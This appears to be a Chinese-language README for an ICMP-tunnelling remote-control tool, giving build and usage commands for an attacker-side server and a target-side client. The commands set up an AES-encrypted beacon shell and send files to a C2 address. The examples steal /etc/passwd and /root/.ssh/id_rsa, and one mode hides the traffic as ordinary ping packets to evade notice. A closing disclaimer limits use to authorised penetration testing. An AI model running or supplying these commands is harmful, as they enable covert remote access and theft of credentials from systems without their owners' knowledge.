ICMP隧道远控工具。

公众号文章：https://mp.weixin.qq.com/s/N1qZ1mAQLB-r6xQ1f6E-DA

• 多模式操作:
  • 会话模式 (session): 提供一个实时的、交互式的远程Shell。
  • 信标模式 (beacon): 客户端以固定的时间间隔回连（心跳），接收并执行服务端下发的指令队列。
• 数据包步态，加密/编码支持:
  • 支持 AES (CBC模式), XOR, Base64, Base32 以及 none (原文) 多种载荷处理方式。
  • 支持包长度、发包频率控制，以及部分协议字段自定义。
• 文件传输:
  • 普通文件传输 (filetrans): 高效、可靠地传输大文件，支持自定义MTU。
  • 隐藏文件传输 (filetrans-hide): 将文件数据块嵌入到仿真的ping命令载荷中，模拟的8字节struct timeval时间戳和固定的数据序列。

Go 环境 (版本 >= 1.20)。

# 编译服务端
go build -o icmpsh_ser ./cmd/server/

# 编译客户端
go build -o icmpsh_cli ./cmd/shell/

• 攻击机: 控制主机 (C2)，IP地址为111.111.111.11，在此主机运行服务端。
• 目标机: 在此主机上运行客户端。

获得一个beacon模式的交互式shell，通讯流量以AES加密

./icmpsh_ser --token <共享密钥> --crypto-mode <加密模式>
./icmpsh_ser --token "MySecretKey123" --crypto-mode aes --mode beacon

--mtu 调整每次发送的数据块大小， --interval 控制发包频率，--crypto-mode 控制传输加密类型。

./icmpsh_cli --ip <服务端IP> --token <共享密钥> --crypto-mode <加密模式>
./icmpsh_cli --ip 111.111.111.11 --token "MySecretKey123" --crypto-mode aes  --mode beacon

传输单个文件。

服务端接收文件，并将其保存为 icmp_trans_file。

# 语法: ./icmpsh_ser --token <共享密钥> --filetrans
./icmpsh_ser --token "MySecretKey123" --filetrans

目标机上运行客户端， --filetrans 指定要发送的文件。 --mtu 调整每次发送的数据块大小，用 --interval控制发包频率，但不支持 --crypto-mode 控制传输加密类型。

# 语法: ./icmpsh_cli --ip <服务端IP> --token <共享密钥> --filetrans <文件路径>
./icmpsh_cli --ip 111.111.111.11 --token "MySecretKey123" --filetrans /etc/passwd --mtu 256 --interval 1

隐匿传输单个文件，使用一个看起来和普通ping命令几乎一样的流量来传输文件

服务端只负责接收数据，它不需要关心客户端是用哪种方式发送的。

./icmpsh_ser --token "MySecretKey123" --filetrans

使用 --fth ( --filetrans-hide ) 参数。注意，在此模式下， --mtu 是无效的，载荷大小被固定为56字节以模仿 ping 命令，也不支持 --crypto-mode 控制传输加密类型。但可以支持用 --interval 控制发包频率。

# 语法: ./icmpsh_cli --ip <服务端IP> --token <共享密钥> --fth <文件路径>
./icmpsh_cli --ip 111.111.111.11 --token "MySecretKey123" --fth /root/.ssh/id_rsa

全屏复制

全屏复制

全屏复制

本工具仅供授权的渗透测试和安全研究使用。作者不对任何滥用本工具造成的后果负责。请遵守当地法律法规。